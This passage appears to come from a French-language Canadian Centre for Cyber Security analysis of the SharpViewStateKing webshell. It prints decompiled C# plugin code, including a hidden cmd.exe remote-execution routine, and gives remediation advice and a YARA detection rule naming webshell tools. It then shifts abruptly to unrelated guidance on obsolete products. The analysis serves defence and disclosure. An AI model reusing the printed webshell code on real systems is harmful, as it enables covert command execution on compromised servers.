   • les types de fichiers d’image (par exemple, .jpg, .jpeg, .gif, .png, .bmp) ont été ouverts pour créer une vignette de 48 x 48 pixels;
   • tous les autres types de fichiers ont extrait l’icône de l’interpréteur de commandes Windows connexe, l’ont convertie en graphique bitmap et l’ont renvoyée à l’auteur de menace sous forme d’objet bitmap.

Figure 11 : Méthode GetIcon dans la classe ListDirectory

	public class ListDirectory
{
private static Bitmap GetIcon(string file)
    {
        try
        {
            if (file.EndsWith("jpg") || file.EndsWith("jpeg") || file.EndsWith("gif") || file.EndsWith("png") || file.EndsWith("bmp"))
            {
                Bitmap val = new Bitmap(file);
                return new Bitmap(((Image)val).GetThumbnailImage(48, 48, (GetThumbnailImageAbort)(() => false), IntPtr.Zero));
            }
            Icon val2 = Icon.ExtractAssociatedIcon(file);
            return val2.ToBitmap();
        }
        catch
        {
            return new Bitmap(48, 48);
        }
    }
}

	
	
    

Observation 6

Capacité principale : RemoteExec

Technique observée : RemoteExec (T1059.003 (en anglais seulement))

Ce plugiciel a mis en œuvre une classe qui a permis à l’auteur de menace d’exécuter à distance une commande ou un exécutable existant sur l’hôte compromis et de renvoyer sa sortie comme suit :

• prendre la commande cible comme argument;
• décoder la chaîne Base64 codée en dur suivante : QzpcV2luZG93c1xTeXN0ZW0zMlxjbWQuZXhl dans C:\Windows\System32\cmd.exe.
• lancer le processus cmd.exe ci-dessus comme fenêtre masquée, écrire la commande fournie plus "&exit" dans StandardInput, puis extraire StandardOutput et StandardError.

Le résultat a été renvoyé via une réponse HTTP par le constructeur.

Figure 12 : Méthode ExecCmd dans la classe RemoteExec

public class RemoteExec
{
    public static string ExecCMD(string command)
    {
        string empty = string.Empty;
        string fileName = Encoding.UTF8.GetString(Convert.FromBase64String("QzpcV2luZG93c1xTeXN0ZW0zMlxjbWQuZXhl"));
        string text = command + "&exit";
        try
        {
            ProcessStartInfo processStartInfo = new ProcessStartInfo();
            processStartInfo.FileName = fileName;
            processStartInfo.RedirectStandardInput = true;
            processStartInfo.RedirectStandardOutput = true;
            processStartInfo.RedirectStandardError = true;
            processStartInfo.UseShellExecute = false;
            processStartInfo.CreateNoWindow = true;
            Process process = new Process();
            process.StartInfo = processStartInfo;
            process.Start();
            process.StandardInput.WriteLine(text);
            empty = process.StandardOutput.ReadToEnd();
            empty = empty.Substring(empty.IndexOf(text) + text.Length);
            empty += process.StandardError.ReadToEnd();
            process.WaitForExit();
            process.Close();
        }
        catch (Exception ex)
        {
            empty = $"\r\n[!] ExecCMD error: {ex.Message}";
        }
        return empty;
    }
}
	
    

Indicateurs de compromission et recommandations

Les indicateurs de compromission (IC) ont été distribués par le biais d’alertes et de communications provenant de l’Équipe nationale d’intervention en cas d’incident lié à la cybersécurité (EIIC). Ceci permet de s’assurer que les partenaires dans l’ensemble de tous les secteurs reçoivent l’information dont ils ont besoin pour agir de façon décisive.

En raison des capacités démontrées par la plateforme d’implants, il est fortement recommandé de procéder à une reconstruction complète de tous les hôtes infectés. Les clés de chiffrement et de validation dans l’application Web ASP.NET doivent être considérées comme compromises et être remplacées, conformément aux orientations établies dans l’article Customer guidance for SharePoint vulnerability CVE-2025-53770 (en anglais seulement). Il convient d’examiner les données de télémétrie de détection et d’intervention sur le réseau (NDR pour Network Detection and Response) et de détection et d’intervention sur les terminaux (EDR pour Endpoint Detection and Response) pour déceler des signes de déplacement latéral vers d’autres hôtes sur le réseau, en vérifiant les éléments suivants :

• comptes d’utilisateur nouvellement créés;
• logiciels récemment installés (par exemple, RPV SoftEther);
• toute modification apportée aux paramètres, comme les exclusions de l’antivirus Microsoft Defender.

De plus, tous les mots de passe et justificatifs d’identité dans le système de la victime doivent être considérés comme compromis et, par conséquent, faire l’objet d’une rotation.

Pour obtenir des informations à jour sur les alertes et avis ou des conseils sur la cybersécurité, veuillez communiquer avec le Centre pour la cybersécurité.

Outils et services du Centre pour la cybersécurité

Il n’existe pas un seul outil ou service ou une seule solution prête à l’emploi pouvant reconstituer un incident, tracer le chemin d’un auteur de menace ou valider une menace. Une approche holistique faisant appel à des points de vue variés est nécessaire pour mener une enquête approfondie. Ainsi, le Centre pour la cybersécurité compte sur des sources de télémétrie multicouche pour détecter des menaces et protéger les biens surveillés.

Assemblyline a été utilisé pour permettre le tri à grande échelle. Il a traité des centaines de milliers de fichiers par jour en tirant parti de plus de 75 produits antivirus et vérifié le code de hachage par rapport à une mémoire cache locale de résultats de VirusTotal. Dans cet incident, les 67 échantillons de maliciels uniques récupérés n’ont donné lieu à aucune détection.

En réponse à cet incident, le Centre pour la cybersécurité a créé des règles YARA qui ciblent le code C# plutôt que des DLL compilées, ce qui s’est traduit par des règles de détection plus souples. Des règles YARA additionnelles seront publiées périodiquement, après une période d’évaluation visant à en assurer la précision.

L’exemple de règle YARA ci-dessous met en œuvre la détection de plusieurs des maliciels observés.

Figure 13 : Règle YARA pour les maliciels observés

	
rule SharpViewStateKing {

    meta:
        id = "6gLZaiLFk2mV4fWlj0eIQ2"
        fingerprint = "00b4dfca3c9c883088259ec9b125411e0896be54cfe08201b03f36d51ae05c8b"
        version = "1.0"
        date = "2026-05-01"
        modified = "2026-05-01"
        status = "RELEASED"
        sharing = "TLP:CLEAR"
        source = "CCCS"
        author = "reveng@CCCS"
        description = "Detects SharpViewStateKing webshell."
        category = "MALWARE"
        malware = "SHARPVIEWSTATEKING"
        malware_type = "WEBSHELL"
        mitre_att = "T1505.003"
        hash = "547b65933c4b6af8a240cca21175398775abe228eceea2c4138b262ed0a90967"
        hash = "24c600584c3d36cfc02c8dbc528306fe8b69971045b299de8186954e0eed0f3e"
        hash = "8d7713e2687dd2e9311e3a3f5df85ecc20dbf4c4b0c91086e0c53bd2c112bde1"
        hash = "a6d7461a88cf7f12072b812499fee3ac6d08acff4db611623871765b60cf1014"
        hash = "921f6502b79b542b2123ba05f86ccfe44746a5feeefc92d7cf5506f04c47b58a"
        hash = "6c249e9a4a55b18a0d17e9430666ccbf61b2fe6349e18e830c4f55ae47fc87d5"
        hash = "1f258c70dfb064e6e1a55885b22660aa034469699be7e0ffeb5d174c8afa72c8"
        hash = "d2f2f0941fe3cb70ba4aeb0927d1a8abcf556d4150832962eb3cc6c13d6c7256"

    strings:
        $web_1 = "&__SCROLLPATH=" wide
        $web_2 = "/wEPDwUKLTcyODc4" wide
        $web_3 = "__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}" wide
        $web_4 = "DecodeViewState"
        $web_5 = "CraeteViewState"
        $web_6 = "WebForms_HiddenFieldPageStatePersister_ClientState"
        $web_7 = "ViewStateUserKey" wide nocase
        $web_8 = "__VIEWSTATEENCRYPTED" wide
        $web_9 = "__VIEWSTATE" wide
        $web_10 = "&__SCROLLPOSITION=" wide
        $web_11 = "<input type=\"hidden\" name=\"" wide
        $web_12 = "<input type=\"\"hidden\"\" name=\"\"__VIEWSTATE\"\" id=\"\"__VIEWSTATE\"\" value=\"\"/wEPDwUKLTcyODc4\""
        $web_13 = "&__VIEWSTATEGENERATOR=" wide
        $web_14 = "FriendlyUrlsViewSwitcherRoute"
        $web_15 = "System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("

        $str_plugin_1 = "antsword"
        $str_plugin_2 = "godzilla"
        $str_plugin_3 = "ghostwebshell"
        $str_payload_dotnet_serialized = ": \"/wEyo"
        $str_name_1 = "SharpViewStateKing" ascii wide
        $str_name_2 = "ViewStateKing" ascii wide
        $str_name_3 = "ViewStateLibrary"
        $str_enc = "EncryptOrDecryptData"
        $str_key = "3c6e0b8a9c15224a"
        $str_enc_func = "public static byte[] Enc(byte[] data)"
        $str_dec_func = "public static byte[] Dec(byte[] data)"
        $str_sys_info = "SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = 'TRUE'"
        $str_dll = "a4hmgwwu.dll"
        $str_bypass = "[!] Bypass error: {0}" wide

    condition:
        2 of ($web_*) and
        2 of ($str_*)

}

Mentions

Le Centre canadien pour la cybersécurité (Centre pour la cybersécurité), qui relève du Centre de la sécurité des télécommunications Canada (CST), est un fier membre de la collectivité des cinq, l’alliance d’échange de renseignement la plus ancienne et la plus soudée au monde. Le partage d’IC et de TTP avec la communauté de la cybersécurité et les partenaires de la collectivité des cinq a constitué un facteur déterminant depuis que les plugiciels SharpViewStateKing ont été découverts, et des échanges analytiques continus ont permis d’optimiser la valeur des données recueillies.

Comprendre les produits obsolètes

Les produits dits obsolètes sont des produits qui ne sont plus fabriqués par le fournisseur qui les a initialement conçus. Les fournisseurs peuvent cesser de les offrir ou les éliminer pour des raisons financières ou opérationnelles stratégiques. Dans la pratique, des produits peuvent aussi devenir obsolètes lorsque :

• ils atteignent la date de la fin du soutien ou de la fin de leur durée de vie;
• les systèmes d’exploitation, les micrologiciels ou les piles de logiciels sous-jacents ne sont plus entretenus;
• ils ne sont plus en mesure de satisfaire aux exigences en matière de sécurité ou de conformité, ou de prendre en charge des mécanismes de défense.

Pourquoi les produits obsolètes présentent des risques élevés

Les risques peuvent augmenter lorsque les produits vieillissent et ne satisfont plus aux exigences de sécurité et aux exigences opérationnelles et réglementaires. Dans bon nombre de cas, les produits plus anciens ou qui ne sont plus pris en charge sont plus difficiles à rendre sécuritaires et à remettre en service, et le fait de continuer à les utiliser peut entraîner des risques pour votre organisation. Voici certains des risques les plus fréquents et les plus potentiellement importants associés aux produits obsolètes.

Vulnérabilités informatiques : Les produits qui ne sont plus pris en charge ne reçoivent plus les correctifs de sécurité ou les mises à jour, ce qui les rend vulnérables et plus faciles à exploiter.

Plantage et inaccessibilité du système : Les logiciels et le matériel peuvent devenir moins fiables avec l’âge sur les plateformes plus récentes, ce qui augmente la probabilité de plantages, de problèmes de performance et d’indisponibilité.

Augmentation des coûts financiers : Entretenir des produits obsolètes nécessite souvent des ententes de soutien haut de gamme, des solutions de contournement sur mesure et des ressources internes supplémentaires.

Conformité juridique et réglementaire : Exploiter des technologies non prises en charge peut enfreindre les exigences de sécurité, ce qui peut mener à l’identification de problèmes lors des vérifications, à des sanctions ou à l’exercice de responsabilités légales.

Risques liés à la chaîne d’approvisionnement et aux tiers : Les composants obsolètes intégrés dans des produits ou des services de fournisseurs peuvent introduire des vulnérabilités échappant au contrôle direct de l’organisation.

Incompatibilité avec les contrôles de sécurité modernes : Les systèmes plus anciens peuvent ne pas prendre en charge les normes de chiffrement, les méthodes d’authentification, les outils de connexion ou de surveillance.

Limites concernant la reprise en cas d’incident : Les systèmes désuets peuvent ne pas permettre une intervention, une correction ou une restauration à la suite d’un incident de sécurité.

Disponibilité limitée de soutien compétent : Lorsque les produits tombent en désuétude, il peut être difficile de trouver du personnel de TI possédant les connaissances requises pour en assurer le soutien et la maintenance.

Se défaire des produits obsolètes

La gestion des produits obsolètes nécessite une action planifiée plutôt que des correctifs ponctuels. Lorsque le soutien et la compatibilité ne sont plus assurés, les risques associés aux produits obsolètes continuent de croître si les systèmes demeurent fonctionnels. Les seuls contrôles techniques peuvent ne pas suffire à éliminer ce risque. Votre organisation devrait :

• identifier rapidement les produits obsolètes;
• planifier et effectuer leur remplacement pour réduire l’impact opérationnel;
• appliquer des mesures provisoires de réduction des risques uniquement lorsque nécessaire.

Identifier et retracer les produits obsolètes

Pour effectuer une gestion efficace des produits obsolètes, il faut d’abord en assurer la visibilité. Avoir un inventaire exhaustif et à jour peut vous aider à prendre des décisions éclairées et à éviter l’utilisation accidentelle de produits obsolètes. Pour conserver un portrait à jour du statut des produits en ce qui a trait au soutien, les organisations devraient :

• tenir un inventaire centralisé de l’ensemble du matériel, des logiciels et des composants connectés au réseau;
• enregistrer le nom des produits, leur version, leur emplacement, leur responsable opérationnel et l’état de la prise en charge assurée par le fournisseur;
• identifier la date de fin de vie du produit et la date de fin de prise en charge du soutien indiquées par le fournisseur et qui arrivent sous peu à échéance ou qui sont dépassées;
• identifier de manière proactive les produits et services de remplacement compatibles.